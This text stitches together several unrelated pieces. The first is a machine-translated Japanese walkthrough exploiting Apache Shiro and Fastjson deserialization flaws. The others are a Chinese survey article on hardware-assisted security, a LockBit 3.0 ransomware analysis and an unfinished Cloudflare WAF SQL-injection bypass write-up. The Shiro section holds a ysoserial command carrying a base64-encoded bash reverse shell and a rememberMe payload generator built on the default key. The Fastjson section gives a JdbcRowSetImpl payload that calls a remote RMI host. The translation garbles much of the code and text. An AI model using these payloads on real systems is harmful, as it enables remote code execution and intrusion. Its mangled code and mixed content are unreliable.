バージョンのApache Shiro 1.1.0の前に、Shiroは許可確認を実行する前にURLを標準化しませんでした。攻撃者は /、//、 /./、 /… /などを構築できます。許可確認をバイパスします。

影響バージョン

Shiro 1.1.0およびJSecurity 0.9.x

脆弱性の再発

アクセスページアドレスは：IP:8080です

脆弱性ポイント/管理者

クロスディレクトリを使用して辞書ファズをテストします

image.png

image.png

CVE-2016-4437：Apache Shiro 1.2.4 Deserialization脆弱性/Shiro550

脆弱性の原則

Shiro550の脆弱性に属します。

Apache Shiro 1.2.4および以前のバージョンでは、暗号化されたユーザー情報がシリアル化され、Remember-Meという名前のCookieに保存されました。攻撃者は、Shiroのデフォルトキーを使用してユーザーCookieを鍛造し、Java Deserializationの脆弱性をトリガーし、ターゲットマシンで任意のコマンドを実行できます。

Shiroは、デフォルトでCookiereMembermemanagerを使用し、Rememberme Cookieを暗号化し、CookierMemberMemmeManaerクラス、AES暗号化、およびbase64エンコーディング操作の記憶のフィールドコンテンツをシリアル化します。 IDを識別するときは、CookieのRemembermeフィールドを復号化する必要があります。暗号化の順序によれば、復号化の順序は==cookie-base64デコード-aes復号化除表現を取得することであると推測できます。==

影響バージョン

Apache Shiro=1.2.4

脆弱性の再発

認証、承認、パスワード、セッション管理のために、Shiro Frameworkがページのログインを使用するかどうかを判断します。

判断方法：Remember Passwordオプションをチェックした後、[ログイン]をクリックし、パケットをつかみ、リクエストパッケージにRemembermeフィールドがあるかどうか、およびResponseパッケージにSetCookie:Rememberme=DeleTemeフィールドがあるかどうかを観察します。下の写真に似ています。

image.png

image.png

rememberme=deletemeフィールドが応答パッケージに表示される限り、それは脆弱性があることを意味します。片側にするために、rememberme=deletemeフィールドが表示される場合、ログインページが認証にshiroを使用していることのみを示す必要があります。リクエストパッケージのCookieに脆弱性とリコールフィールドがあることを直接示していません。ログインが失敗した場合、Remembermeフィールドがチェックされているかどうかに関係なく、Return PackageにはRembermeme=Deletemeフィールドがあります。ログインが成功した場合、リターンパッケージにはrememberme=deletemeフィールドがあります。ログインが成功した場合、Return Package Set-Cookieにはrememberme=deletemeフィールドがあります。ただし、その後のすべてのリクエストでは、CookieにはRememberme Field Check remembermeがありません。ログインが成功した場合、リターンパッケージにはセットクッキーにRememberme=Deletemeフィールドがあり、Remembermeフィールドがあります。その後のすべてのリクエストで、Cookieには記憶型フィールドがあります。または、Cookieの後に記憶型のフィールドを追加して、rememberme=deremetemeymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=があるかどうかを確認できます。

Java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo、ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64、-d} | {bash、-i} '

shiro-exploit.pyを使用して、shiroのデフォルトキーを取得します（ツールアドレス：https://github.com/insightglacier/shiro_exploit）

image.png

shiro.pyを使用してペイロードを生成します（自分でキーを変更する必要があります。Shiro.pyコードは次のとおりです:)

コマンド：Shiro.py 192.168.17.13233606666

shiro.py:

sysをインポートします

uuidをインポートします

base64をインポートします

サブプロセスをインポートします

crypto.cipher Import AESから

def encode_rememberme（command）:

popen=subprocess.popen（['java'、 '-jar'、 'ysoserial-0.0.6-snapshot-all.jar'、 'jrmpclient'、command]、stdout=subprocess.pipe）

bs=aes.block_size

pad=lambda S: s +（（bs -len（s）％bs） * chr（bs -len（s）％bs））。encode（）

key=base64.b64decode（ 'kph+bixk5d2deziixcaaaaa=='）

iv=uuid.uuid4（）。バイト

encryptor=aes.new（key、aes.mode_cbc、iv）

file_body=pad（popen.stdout.read（））

base64_ciphertext=base64.b64encode（iv + encryptor.encrypt（file_body）））

base64_ciphertextを返します

__name__=='__main __' :の場合

ペイロード=encode_rememberme（sys.argv [1]）

print（ 'rememberme={0}'。フォーマット（payload.decode（）））

python3 shiro.py 192.168.200.12933606666

ログインした後、パケットをつかみ、データパケットのCookie値を交換して、shiro.pyによって生成されたrememberme

image.png

CVE-2020-1957：Apache Shiro Certification Bypassの脆弱性

脆弱性の原則

プロジェクト全体で要求したURLの着信配信プロセスを分析する必要があります。 Shiroを使用するプロジェクトでは、Shiro Permissions（url2）によって検査され、最後にSpringbootプロジェクトへのルートをプロセス（URL3）で検査したのは、要求したURL（URL1）です。

脆弱性は、URL1、URL2、およびURL3で発生します。それは同じURLではないかもしれないので、Shiroの検証をバイパスし、バックエンドに直接アクセスすることになります。この場合の脆弱性は、この理由によって引き起こされます。

Shiro Frameworkは、Anon、AuthC、その他のインターセプターなどのインターセプター機能を通じてユーザーアクセス権を制御します。 Anonは匿名のインターセプターであり、アクセスにログインする必要はありません。 AUTHCはログインインターセプターであり、アクセスするためにログインする必要があります。

影響バージョン

Apache Shiro 1.5.2

脆弱性の再発

image.png

URLを変更/管理者は自動的にログインログインページにジャンプします

image.png

許可バイパス
の悪意のあるリクエストを構築します

コードレベルが追加されているため。それはバイパスされたものとして認識されます。 1つ/ショートを追加します。

URLは/xxx/.

/xxx/./admin/

image.png

shiro 721

脆弱性の再発：CVE-2019-12422

環境：Kali Linux

Dockerビルドとスタート

git clone https://github.com/3ndz/shiro-721.git

CD Shiro-721/Docker

Docker Build -T Shiro -721。

docker run -p 8080:8080 -d shiro -721

アクセス：

image.png

image.png

image.png

正しいアカウントパスワードでログインする場合、下の図に示すように、2つのリクエストパケット、つまり投稿とgetpostリクエストパケットを送信します（正しいアカウントパスワードでログインすることで取得したパッケージ）image.png

Get Request Packageは次のとおりです（これは、正しいパスワードでログインして、主にCookie値を背景に送信することで取得したパッケージです）image.png Rememberme=Deletemeフィールドを見ると、Shiro Deserializationの脆弱性image.png44444444があると言えます。

BurpプラグインはHAEとLOGGER ++を追加してShiroの指紋を表示します

image.png

image.png

ツールの使用率：

image.png

fastjson

@fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson

脆弱性の原則

この脆弱性の原則は、FastJsonの脱介入メカニズムにあります。 FastJsonがJSONデータを解析すると、JSONデータをJavaオブジェクトに変換しようとします。このプロセスでは、FastJSONはJSONデータのタイプ情報に基づいてデータを解析する方法を決定します。攻撃者は、この機能を利用してJSONの特定のデータ型と構造を構築することができます。そのため、FastJSONは解析中に悪意のあるJavaクラスまたはメソッドを呼び出して、リモートコードの実行を実現します。

一般的な悪用方法は、FastJSONのオートタイプ関数を使用することです。オートタイプは、シリアル化と脱派の際にクラスの完全に適格なクラス名を使用できるFastJSONの機能です。攻撃者は、悪意のあるJSONデータを構築し、悪意のあるクラスをオートタイプの価値として使用できます。 FastJsonが脱必要になると、指定されたクラスをインスタンス化してクラス内のコードを実行しようとします（Exploitプロセスでは、JDBCrowsetlMPLは一般にチェーンを悪用するために悪用されます）。

@typeフィールド

@Typeは、オブジェクトタイプの情報を処理するために使用されるFastJSONの特別なフィールドの1つです。 JSONデータでは、 @ティプフィールドを使用して、脱出中にインスタンス化する必要があるクラスのタイプを指定できます。このフィールドは通常、特にFastJSONのオートタイプ関数が有効になっている場合、脱シリア化中にオブジェクトのタイプ情報を指定するために使用されます。

@Typeフィールドを介して、FastJSONはクラスを識別し、そのフィールドで提供されるクラスパスに基づいてオブジェクトを作成できます。これは、オブジェクトの正確なタイプを指定できるため、複雑なオブジェクト構造をシリアル化して隔離する場合に非常に便利です。

ただし、悪意のあるユーザーがこのフィールドを使用して悪意のあるJSONデータを構築し、@Typeフィールドの悪意のあるクラスパスを指定することができるのは、まさに@Typeフィールドの存在と使用のためです。このようにして、脱出プロセス中に、FastJSONは@Typeフィールドで指定されたクラスパスに基づいて対応するクラスをインスタンス化しようとします。

jndi

JNDI、RMI、およびLDAPは、さまざまな目的でJavaで使用されるテクノロジーです。

JNDI（Javaネーミングとディレクトリインターフェイス）：JNDIは、さまざまな命名およびディレクトリサービスにアクセスするために使用されるJavaのAPIのセットです。 JNDIは、JavaアプリケーションがDNS、LDAP、RMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および使用できるようにする統一アクセス方法を提供します。JNDIの目的は、Javaアプリケーションが異なるサービスの命名とディレクトリの作業を利用できるようにすることです。 RMI（リモートメソッド呼び出し）：RMIは、Javaでリモートメソッド呼び出しを実装するために使用されるメカニズムです。これにより、異なるJava仮想マシン間のオブジェクト間の通信とメソッド呼び出しが可能になります。分散システムでは、RMIを使用すると、リモートシステムが互いの方法を呼び出して、リモートオブジェクト間の相互作用を実現できます。 LDAP（LightWeight Directory Access Protocol）：LDAPは、分散ディレクトリサービスにアクセスするために使用されるプロトコルです。通常、ユーザー情報、組織構造などの構造化されたデータを保存するために使用されます。JAVAでは、JNDIはLDAPアクセスのサポートを提供し、JNDIがユーザー認証、データの検索などのLDAPディレクトリサービスを接続および操作できるようにします。 JNDIを使用すると、LDAPサーバーを接続および操作し、LDAPディレクトリにデータを取得および保存できます。さらに、JNDIを使用して、RMIレジストリ内のリモートオブジェクトを見つけて、リモートメソッド呼び出しを実装することもできます。

要約すると、JNDIはJavaのAPIとして、さまざまなサービスにアクセスする統一された方法を提供し、JavaアプリケーションがLDAPやRMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および操作できるようにします。

jdbcrowsetimplはチェーン

を利用します

Fastjsonでは、脱介入攻撃にJDBCrowsetimplを使用します。 JDBCrowsetimplの利用チェーンの焦点は、AutoCommit Setメソッドを呼び出す方法です。 FastJSONの脱必要異常の特徴は、クラスの設定方法を自動的に呼び出すことであるため、脱出の問題があることです。 @Typeタイプが策定されている限り、対応するクラスを自動的に呼び出して解析します。

これにより、利用チェーンを構築できます。 @TypeのタイプがJDBCrowsetImplの場合、JDBCrowsetImplクラスがインスタンス化されます。したがって、DataSourcenameがLookupメソッドに渡される限り、リモート攻撃サーバーにアクセスできるようにし、AutoCommitプロパティを使用してルックアップをトリガーできます。プロセス全体が次のとおりです。

DataSourCenameを設定してルックアップに属性を渡す方法- AutoCommitプロパティを設定し、SetAutoCommit関数を使用して接続関数をトリガーする - 以下のルックアップ関数は、DataSourcenameパラメーターを使用し、RMIを介してリモートサーバーにアクセスできます。

エクスプロイトは次のとおりです。

{"@type" : "com.sun.rowset.jdbcrowsetimpl"、 "datasourcename" : "rmi: //192.168.17.393:999/exploit"、 ":true}

次のことに注意する価値があります。1。DataSourcenameをオートコンミットの前に配置する必要があります。なぜなら、降下が設定されている場合、属性が順番に設定され、最初にetDataSourCenameが設定され、次にsetAutoCommitです。 2. RMIのURLは、リモートファクトリークラスの名前に従って取得します。これは、パスの下の名前が検索するクラスとしてLookup（）で抽出されるためです。

FastJSON検出バージョン

1。DNSLOGを使用して奪ってください。 DNSLOGのほとんどがブラックリストに記載されているため、独自のDNSLOGを使用するのが最善です。

2。エラーメッセージがあり、バージョン番号のペイロードは「{"and"、 "、欠陥のあるコードブロックを入力して例外をスローする前に読み取られていません

3.スクリプトを使用してバージョン番号をすばやく検出します。つまり、各POCが1回呼び出されます。

CVE-2017-18349 FastJSON 1.2.24-RCE

0x00はじめに

Fastjsonは、AlibabaのオープンソースJSON解析ライブラリです。 JSON形式で文字列を解析したり、JSONの弦にJava Beanのシリアル化をサポートしたり、JSON文字列からJavabeansへの降下をサポートします。つまり、FastJSONの主な機能は、Java BeanをJSON文字列にシリアル化することです。これにより、文字列を取得した後、データベースなどを介して持続できます。

0x01脆弱性の概要

JSONを解析する過程で、FastJSONはオートタイプの使用をサポートして特定のクラスをインスタンス化し、クラスのセット/GETメソッドを呼び出して属性にアクセスします。コードに関連する方法を見つけることにより、いくつかの悪意のあるエクスプロイトチェーンを構築できます。

0x02影響バージョン

インパクトの範囲：FastJSON=1.2.24

0x03環境構築

CD /vulhub/fastjson/1.2.24-rce

docker -compose up -d

Docker PS

image.png

Dockerはポート8090を開き、ターゲットマシンIPにアクセスします

http://192.168.200.16:8090/

image.png

JDKバージョンの切り替え

脆弱性のエクスプロイトにはJDK8が必要であり、Kaliに付属するJDKはJDK11をここでは使用できないため、KaliのJDK1123を最初にアンインストールする

dpkg - リスト| GREP -I JDK #ViewインストールJDKパッケージ

apt-get purge openjdk-* #uninstall openjdk関連パッケージ

dpkg - リスト| grep -i jdk＃すべてのJDKパッケージがアンインストールされていることを確認してください

jdk1.8をダウンロードします

https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

image.png

圧縮パッケージをKaliに入れて、環境変数を減圧して構成します

MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA＃PLACE IN /OPT /JA

HireHackking

CPU_Processor-e1551372800619.jpeg

遠程勞動力、混合雲和零信任趨勢正在推動安全團隊專注於硬件輔助安全策略，以更好地保護因新冠病毒而發生重大變化的攻擊面。

為了應對新的挑戰，硬件輔助安全被視為獲得IT生態系統可見性、管理數字資產以及降低安全團隊和計算成本的有效的創新方式。這些發現來自英特爾贊助的Ponemon Institute最近的一項調查。

根據這項研究：“由於遠程業務的發展，組織被迫在幾乎沒有預先警告的情況下改變其網絡安全實踐。”53%的受訪者表示，他們IT堆棧中與新冠病毒相關的變化迫使他們更新安全策略。

這一轉變的核心是尋求創新的新方法來管理基礎設施和端點蔓延。最近的漏洞Log4J、ProxyShell和ZeroLogon都強調了這一新動態。在每個零日實例中，安全團隊必須爭先恐後地查看生態系統中哪些可能易受攻擊，需要先修補。

這項對1406名IT專業人員的研究旨在探索採用該技術的公司和考慮採用相關解決方案的公司對硬件輔助安全的態度。該研究還探討了硬件輔助安全如何幫助組織加強安全工作。

什麼是硬件輔助安全？硬件輔助安全（HAS）解決了大型網絡基礎設施中資產可見性的業務挑戰，它使安全團隊能夠更快地發現和修復漏洞。硬件安全性通過設備組件固件或軟件實現這一點，這可以通過虛擬機管理程序和其他網絡監控工具實現更高級別的可見性。

硬件輔助的主要安全組件包括：

控制-流量執法技術（高級惡意軟件保護）

硬件遙測以通知惡意信號（威脅偵察）

加密和加速（安全設備訪問）

端點身份驗證和可信平台模塊芯片（端點身份驗證）

通過HAS在應對威脅中佔據上風可見性和緩解響應是關鍵，Log4J等新出現的威脅以及與漏洞相關的看不見的錯誤就說明了這一點。在這兩種情況下，資產可見性和快速緩解響應時間對於防止攻擊至關重要。

英特爾和Ponemon發現，受訪者認為資產可見性是應對威脅的重要組成部分。安全團隊經常因缺乏對組織整個網絡的可見性而受到阻礙。 HAS允許資源緊張的安全團隊依靠自動化工具來增強安全團隊的網絡管理能力。

研究發現：“威脅環境的快速復雜要求組織領先安全更新一步。”大約一半的受訪者（48%）表示，他們對新披露的漏洞和補丁有足夠的可見性。

這種安全方法與Ponemon的發現相吻合，Ponemon的發現顯示，公司正在尋找創新的新方法來解決現代IT堆棧。 41%的受訪者將自動化和40%的受訪者將應對當今可見性和管理挑戰列為頂級安全創新。

英特爾客戶安全戰略和倡議副總裁兼總經理Tom Garrison說：“沒有可見性和透明度，就沒有信任。”

創新如何降低成本新的遠程勞動力和雲趨勢為對手創造了一場完美的風暴。

這一現實包括遍布混合雲基礎設施的蔓延攻擊面，並將數千個端點和數字資產連接在一起。隨著攻擊表面的增長，網絡管理員和安全團隊面臨的挑戰就是跟踪資產並減少漏洞。

48%的受訪者表示，他們的安全團隊每週就花費17個小時來繪製物聯網設備上的已知漏洞。而HAS中的自動化工具可以簡化這些工作，使安全團隊能夠專注於緩解和漏洞發現。這可以減少安全團隊的工作量，減少員工的倦怠，並降低與安全人員配置相關的成本——同時讓員工專注於減輕真正的威脅，而不是“假陽性”。

據65%採用該技術的公司稱，Ponemon在其研究中排除了這一點，受訪者分享了HAS通過矽水平的硬件資產自動庫存簡化了資產可見性和漏洞暴露。

能見度至關重要，但有時可能目光短淺許多公司仍然難以在子操作系統層面繪製IT資產的已知漏洞。 52%的受訪者表示，他們根據最新的微代碼和CPU更新跟踪設備的安全性，但其餘的則沒有。沒有這種級別的跟踪，組織可能會為BIOS和固件級別的子操作系統惡意軟件攻擊或惡意代碼的持續存在打開大門。

69%的受訪者表示，硬件和固件安全解決方案使漏洞管理更加有效。根據這項研究，“在那些使用硬件和固件安全解決方案的組織中，58%的受訪者表示，他們的組織可以很好地或顯著地了解他們的硬件和固件是否處於已知良好狀態。”

抵消零信任身份驗證成本其他成本考慮因素包括與通過加密進行設備身份驗證所需的支持硬件的加速器相關的成本節約。 36%的受訪者表示，硬件是他們組織端點（PC/IoT）安全戰略的一部分。隨著公司更加重視零信任解決方案，相關計算成本可能會增加。

研究發現，在採用硬件安全的公司中，32%的企業已經實施了零信任解決方案。根據該研究，“隨著組織採用新的安全技術，硬件輔助安全補充了現有協議，並加強了整體安全衛生。”

硬件安全可以允許組織利用支持硬件的加速器來抵消加密成本，從而降低基於加密的身份驗證的計算成本。

根據這項研究，38%的受訪者表示，他們利用硬件加速器來抵消加密成本。 26%的人表示，他們部署了硬件或支持矽的加速器，以抵消在啟用訪問之前驗證端點的成本。

在尋求不斷變化的威脅格局的創新解決方案的組織中，從業者的滿意度和對HAS解決方案的看法非常強烈。 36%的調查受訪者表示，他們的組織採用了硬件輔助安全解決方案，47%的人表示，他們的組織將在未來六個月內採用HAS解決方案。

受訪者告訴英特爾和Ponemon，今天的威脅環境要求“組織在網絡安全實踐中具有敏捷性和創新性”。

HireHackking

BlackMatter是一種勒索軟件變體，它使用Salsa20和1024位RSA加密文件，並需要大量加密貨幣進行解密。與許多其他勒索軟件組織一樣，BlackMatter通過洩露數據的威脅來增加獲得支付贖金的機會。 BlackMatter作為一種勒索軟件即服務(RaaS)運行。

2022年6月，LockBit發布了其勒索軟件3.0版。在這篇文章中，我們將詳細討論其攻擊過程，以及其與BlackMatter勒索軟件的相似之處。

2022年3月，也就是LockBit2.0首次出現不到一年後，研究人員發現了即將推出的LockBit勒索軟件新變種。 LockBit3.0，又名“LockBitBlack”，要到6月下旬才會發布，與此同時，該組織推出了新的漏洞洩露網站和漏洞獎勵計劃。此後，一位研究人員分享了LockBit3.0的樣本，以及他對新變體的初步分析。

detect it easy是一款跨平台的PE查殼工具，研究人員使用這個工具發現這個特定的LockBit3.0樣本是一個Win32.exe文件，其中包含多個部分，由未知的加殼器封裝（圖1）。根據樣本的原始來源，惡意軟件使用此參數執行：

{04830965-76E6-6A9A-8EE1-6AF7499C1D08}.exe-kLocalServiceNetworkRestricted-passdb66023ab2abcb9957fb01ed50cdfa6aLockBit3.0示例隨後會刪除一個.ico文件，該文件的文件名與附加到%PROGRAMDATA%文件夾中加密文件的文件名相同（圖2）。

1.png

LockBit3.0的文件屬性

2.png

%PROGRAMDATA%文件夾中的.ico文件

作為其加密過程的一部分，LockBit3.0附加了擴展名HLJkNskOq（圖3），並將加密文件的圖標更改為上述.ico文件的圖標。

3.png

帶有新文件名和擴展名的加密文件，以及LockBit的勒索信

然後，勒索軟件釋放其勒索信，其中提到了“IlonMusk”和歐盟的通用數據保護條例(GDPR)。最後，它會更改受害者計算機的壁紙，以通知他們盡快繳納贖金。

4.jpg

LockBit3.0勒索信的內容

5.png

LockBit3.0的桌面壁紙

與BlackMatter勒索軟件的相似之處研究人員指出，LockBit 3.0的部分代碼似乎借鑒了BlackMatter勒索軟件，因此LockBit 3.0又被稱為LockBit Black。同樣地，我們在調試LockBit3.0示例期間發現了BlackMatter和新的LockBit變體之間存在相似之處。從我們對解壓樣本的檢查和研究員ChuongDong提供的分析中，我們發現LockBit3.0需要一個pass參數來解密其主程序。研究人員已經觀察到其他勒索軟件家族，如Egregor也表現出了相同的行為，其中需要參數才能繼續執行該程序。如果參數不可用，這會使二進製文件更難反轉。

6.png

使用-pass參數解密部分

LockBit 3.0通過哈希DLL的API名稱來執行API收集，然後將其與勒索軟件所需的API列表進行比較。這個程序與BlackMatter相同，因為重命名BlackMatter的API的外部可用腳本也適用於LockBit 3.0。

7.png

LockBit3.0的API收集程序

8.png

BlackMatter的API收集程序

9.png

LockBit3.0用於重命名API的XOR密鑰

10.png

BlackMatter用於重命名API的XOR密鑰

LockBit 3.0沒有直接調用收集到的API的地址，而是實現了一個蹦床指針，該指針指向一個已分配的堆，其中包含一個反彙編代碼，然後該代碼將跳轉到NtTerminateProcess API的API地址。堆中包含的代碼是從這組代碼中隨機選擇的：

隨機數ROR；

隨機數ROL；

異或密鑰；

通過隨機數ROR，然後異或到密鑰；

ROL隨機數，然後異或到密鑰；

11.png

LockBit3.0的蹦床指針代碼

12.png

LockBit3.0對NtTerminateProcessAPI的蹦床調用

LockBit3.0和BlackMatter也實現了相同的反調試技術：兩者都通過NtSetThreadInformationAPI將線程信息設置為ThreadHideFromDebugger(0x11)，以導致任何調試器在這個線程上設置斷點時崩潰。

13.png

通過NtSetThreatInformation的ThreadHideFromDebugger

與BlackMatter一樣，LockBit3.0在使用API時使用線程而不是直接調用API，這可能是為了讓研究人員更難分析。它使用的字符串使用簡單的按位XOR程序、按位XOR和NOT程序或涉及線性同餘生成器(LCG)算法以生成偽隨機密鑰的解密程序。除了添加了按位XOR和NOT程序，其他都類似於BlackMatter的操作方式。

14.png

LockBit3.0用於字符串解密的按位異或程序

15.png

LockBit3.0的按位XOR和NOT用於字符串解密

16.png

LockBit的3.0字符串解密使用LCG算法

LockBit3.0的配置使用相同的XOR程序和從LCG偽隨機數生成器獲得的密鑰進行解密，然後使用稱為APLib的壓縮庫進行解壓縮。

17.png

LockBit3.0的配置列表

LockBit3.0還會檢查受害計算機的UI語言，以避免用這些語言攻擊計算機：

阿拉伯語（敘利亞）；

亞美尼亞語（亞美尼亞）；

阿塞拜疆語（西里爾語阿塞拜疆）；

阿塞拜疆語（拉丁語阿塞拜疆）；

白俄羅斯語（白俄羅斯）；

格魯吉亞語（格魯吉亞）；

哈薩克語（哈薩克斯坦）；

吉爾吉斯（吉爾吉斯斯坦）；

羅馬尼亞語（摩爾多瓦）；

俄語（摩爾多瓦）；

俄語（俄羅斯）；

塔吉克語（西里爾塔吉克斯坦）；

土庫曼（土庫曼斯坦）；

韃靼語（俄羅斯）；

烏克蘭語（烏克蘭）；

烏茲別克語（西里爾文烏茲別克斯坦）；

烏茲別克語（拉丁烏茲別克斯坦）；

LockBit3.0還保留了這些BlackMatter程序，以用於提權升級：

使用UACMe的方法繞過用戶帳戶控制(UAC)，這是在dllhost.exe下使用ICMLuaUtil COM接口；

複製Explorer.exe令牌以供自己使用；

執行32位或64位shellcode注入以提升其令牌。

LockBit3.0和BlackMatter都用作加密文件擴展名、勒索信名稱以及壁紙和圖標名稱的字符串是Base64編碼的哈希。然而，這兩種勒索軟件之間的一個關關鍵區別在於，LockBit3.0選擇使用嵌入在其配置中的RSA公鑰，並使用MD5對其進行哈希處理，而BlackMatter使用具有相同算法對API進行哈希處理的MachineGUID。這使得被同一樣本感染的所有計算機的字符串看起來都相似，這可能是LockBit的操作人員的一種嘗試，以便他們更容易識別加密文件所需的RSA私鑰對。

18.png

BlackMatter（左）和LockBit3.0（右）的字符串生成

與BlackMatter一樣，LockBit3.0也執行以下程序：

嘗試使用其配置列表中的憑據登錄，以確定受感染的系統是否是將用於以後程序的域管理員的一部分；

一個類似於BlackMatter的程序會終止並從其配置列表中刪除進程和服務；

擦除每個驅動器的回收站文件夾；

檢查計算機名哈希列表，以避免從其配置列表中刪除；

如果設置了標誌，則從其配置列表連接到CC服務器；

如果在其配置標誌中設置，則加密網絡共享和Exchange郵箱；

從其配置列表中獲取要避免使用的文件、文件夾和擴展名列表；

加密.lnk文件時使用指向文件；

在任何可用的打印機上打印勒索信並修改桌面壁紙；

使用與BlackMatter相同的加密算法；

LockBit3.0對卷影副本的刪除顯然是從BlackMatter的代碼中刪除的，因為這是使用WindowsManagementInstrumentation(WMI)通過COM對象執行的，而不是LockBit2.0使用vssadmin.exe。

19.png

LockBit3.0通過WMI刪除卷影副本

這個最新的LockBit迭代只在提供特定參數時才會執行一些程序。 LockBit 3.0只接受表2中列出的參數，而BlackMatter只接受-safe、-wall和-path參數。

20.png

LockBit3.0接受的參數列表

新的LockBit變體使用哈希和基於代碼檢查參數，它被設計為只執行一個來自參數的例程，除了-pass，它需要在檢查其他參數之前執行。如果提供了-wall參數，則打印勒索信和更改受害計算機牆紙的程序也類似於BlackMatter的程序。像BlackMatter一樣，只要提供了-safe參數，LockBit3.0也可以在安全模式下重新啟動並通過RunOnce註冊表執行。

然而，它們的配置標誌之間有一個關鍵的區別：BlackMatter只有9個標誌，而LockBit3.0有24個，詳見表3。

21.1.png

21.2.png

21.3.png

21.4.png

可以在LockBit 3.0的配置中設置的標誌

第三個LockBit版本的一個值得注意的行為是它的文件刪除技術：它不使用cmd.exe執行將執行刪除的批處理文件或命令，而是刪除並執行從二進製文件中解密的.tmp文件。但是，只要提供了-gspd參數，它就會保留LockBit2.0的一些功能，例如早期版本通過組策略更新進行橫向移動的能力。

執行的.tmp文件會覆蓋勒索軟件二進製文件的內容，然後使用基於原始文件名長度的新文件名多次重命名該二進製文件，例如，一個名為1.exe的文件，它有五個字符（包括文件擴展名），被重命名為AAAAA，然後是BBBBB，直到ZZZZZ。重命名文件後，LockBit3.0最終將其刪除。該程序可能是LockBit勒索軟件組織試圖避免通過取證工具進行恢復，並通過完全刪除任何勒索軟件的痕跡來掩蓋他們的踪跡。

22.png

LockBit3.0多次重命名勒索軟件文件

23.png

LockBit3.0在反復重命名後刪除勒索軟件文件

VirusTotal上的LockBit3.0最近，一位研究人員在VirusTotal上發現了另一個LockBit 3.0示例，在撰寫本文時，在撰寫本文時檢測到了19個。這個特定的示例是一個包含兩層模糊代碼的PowerShell腳本。在對腳本進行去混淆之後，我們發現LockBit 3.0能夠通過反射加載將DLL注入內存，使用的代碼與BlackMatter自己的PowerShell代碼相同。

24.png

截至2022年7月21日在VirusTotal上發現的LockBit3.0樣本

25.png

LockBit3.0的第一層混淆代碼

26.png

LockBit3.0的第二層混淆代碼

27.png

LockBit3.0的反混淆PowerShell腳本

28.png

LockBit3.0的主要功能

29.png

BlackMatter的主要功能

此特定示例具有通過Base64壓縮和加密的有效負載。為了訪問它，我們修改了腳本以轉儲有效負載而不是執行它。通過轉儲有效載荷，我們能夠獲得LockBit3.0的主要二進製文件。

執行時，該腳本表現出與之前發現的LockBit3.0示例相同的行為。此特定示例將19MqZqZ0附加到加密文件的文件名。

30.png

LockBit3.0的有效載荷

31.png

轉儲LockBit3.0的有效負載

32.png

LockBit3.0的主要二進製文件

33.png

LockBit3.0的加密文件，其名稱後附有19MqZqZ0

這個特定的LockBit 3.0示例的有效負載只檢查3個哈希參數，而之前的LockBit3.0示例檢查了8個。它的DLL有效負載是反射式加載的，其通過管理共享和組策略傳播程序的代碼是為PE（便攜式可執行文件）二進製文件設計的，而不是為PowerShell腳本設計的，這可能解釋了為什麼某些程序不起作用。另一種可能性是，LockBit3.0的勒索軟件構建器可能會選擇禁用某些程序。即使檢查了-pass

HireHackking

有研究人員在安全測試時，繞過了Cloudflare WAF 的SQLi 過濾器，這意味著Cloudflare 安裝沒有正確配置，但Cloudflare目前還不認為這是個漏洞。雖如此，安全人員在為其應用程序部署安全保護時需要注意有關問題。對於試圖繞過WAF 的人來說，發現的些許漏洞也可能會派上用場。攻擊者可以利用一種或多種技術（具體取決於最終應用程序）繞過某些WAF 並通過濫用SQLi 漏洞竊取數據。

測試時使用的Web應用程序詳細信息測試時使用的Web 應用程序的目的對於實際測試來說並不重要。除了在服務器上公開的/graphql 端點和運行查詢的PostgreSQL 服務之外，寫入查詢的堆棧也並不重要。 GraphQL 是一種查詢語言，它處理查詢，在測試中，在後端運行適當的SQL 查詢並返回請求的數據。之前由於測試人員從未使用或閱讀過有關GraphQL 的信息，因此遵循的是官方教程https://graphql.org/learn/，如果感興趣你也可以了解一下。

查詢的形成類似於JSON 對象。應用程序向/graphql 端點發送POST 請求。請求正文包含GraphQL 查詢，如下所示：

1.png

X-MARK 中未過濾的參數從GraphQL 傳遞，並在PostgreSQL 存儲過程中被替換，從而允許我們注入在後端服務器上執行的SQL 查詢。

這幾乎是我們目前必須了解的關於應用程序的內容。在接下來的部分中，我將介紹我在測試SQL 注入應用程序時觀察的一些現象，這些觀察使我成功地利用了SQL注入，包括繞過Cloudflare SQLi過濾器。

觀察1第一個重要的觀察結果是服務器對有效的電子郵件輸入（即當SQL 查詢返回數據時）的響應與對無效的電子郵件輸入的響應不同。返回的HTTP 代碼始終為200，但響應正文不同：

這將返回“OK”：

2.png

這將返回'NOT OK'：

3.png

起初這可能看起來不太像，但它實際上是允許我驗證數據庫中特定數據是否存在的機制。它讓我想到了利用這種機制執行SQL盲注入攻擊並使用腳本自動化它的想法。該腳本構造一個有效負載，並將其與POST請求一起發送，POST請求反過來修改在後端服務器上運行的SQL查詢。

步驟如下：

我們有一組字符，稱為字母表。這組字符包括所有可能的字符，這些字符可以是我們試圖從數據庫中提取的數據的一部分。

假設資源是需要檢索的SQL 資源。它可以是數據庫名稱、用戶名、任何表格中的單元格值等。

將逐字符檢索資源。我們試圖檢索的字符稱為char。

我們遍歷字母表，並將每個字母與char 進行比較。

如果有匹配，我們記錄結果並移動到下一個字符。

最後，我們通過連接所有字符獲得了完整的資源。

觀察2第二個重要的觀察結果是，在執行的SQL查詢出現錯誤時，會顯示錯誤消息，這對我來說容易得多。這個錯誤信息不允許我執行一個基於錯誤的SQL注入，而是顯示了由PostgreSQL在SQL服務器上執行的完整SQL查詢。這一點為什麼如此重要，我們很快就會明白。

從錯誤消息中提取的SQL查詢看起來像這樣：

4.png

作為“email”變量提交的用戶輸入反映在X-MARK上。這就是為什麼擁有完整的SQL查詢對於開發過程很重要的兩個原因：

可以看到用戶輸入被括在括號中，這條信息使有效負載的生成過程變得更加容易，因為人們知道輸入必須包含與左括號匹配的右括號，以便結束SQL 查詢有效。

